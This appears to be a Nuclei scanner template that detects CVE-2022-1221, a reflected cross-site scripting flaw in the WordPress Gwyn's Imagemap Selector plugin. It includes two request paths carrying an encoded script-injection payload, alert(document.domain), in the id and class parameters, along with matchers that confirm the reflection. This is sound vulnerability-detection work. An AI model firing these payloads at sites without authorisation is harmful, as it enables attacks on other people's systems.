56 lines
2.1 KiB
YAML
56 lines
2.1 KiB
YAML
id: CVE-2022-1221
|
|
|
|
info:
|
|
name: WordPress Gwyn's Imagemap Selector <=0.3.3 - Cross-Site Scripting
|
|
author: veshraj
|
|
severity: medium
|
|
description: |
|
|
Wordpress Gwyn's Imagemap Selector plugin 0.3.3 and prior contains a reflected cross-site scripting vulnerability. It does not sanitize the id and class parameters before returning them back in attributes.
|
|
remediation: |
|
|
Update to the latest version of the WordPress Gwyn's Imagemap Selector plugin (0.3.3) or apply the vendor-supplied patch to fix the vulnerability.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/641be9f6-2f74-4386-b16e-4b9488f0d2a9
|
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1221
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-1221
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2022-1221
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00119
|
|
epss-percentile: 0.45736
|
|
cpe: cpe:2.3:a:gwyn\'s_imagemap_selector_project:gwyn\'s_imagemap_selector:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
vendor: gwyn\'s_imagemap_selector_project
|
|
product: gwyn\'s_imagemap_selector
|
|
framework: wordpress
|
|
tags: cve2022,wpscan,xss,wordpress,wp-plugin,wp,cve
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/wp-content/plugins/gwyns-imagemap-selector/popup.php?id=1&class=%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
|
|
- '{{BaseURL}}/wp-content/plugins/gwyns-imagemap-selector/popup.php?id=1%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
|
|
|
|
stop-at-first-match: true
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "</script><script>alert(document.domain)</script> popup-"
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4a0a00473045022100a6368ac94266fab2d08b486b0e7e8b3fcd41b80b9382d652fa2f33b307e005f7022059dd9e9d492ea523cbd0b6a9fb53066f9315d4fe84ba1f97a0ffcf28397a1a8d:922c64590222798bb761d5b6d8e72950
|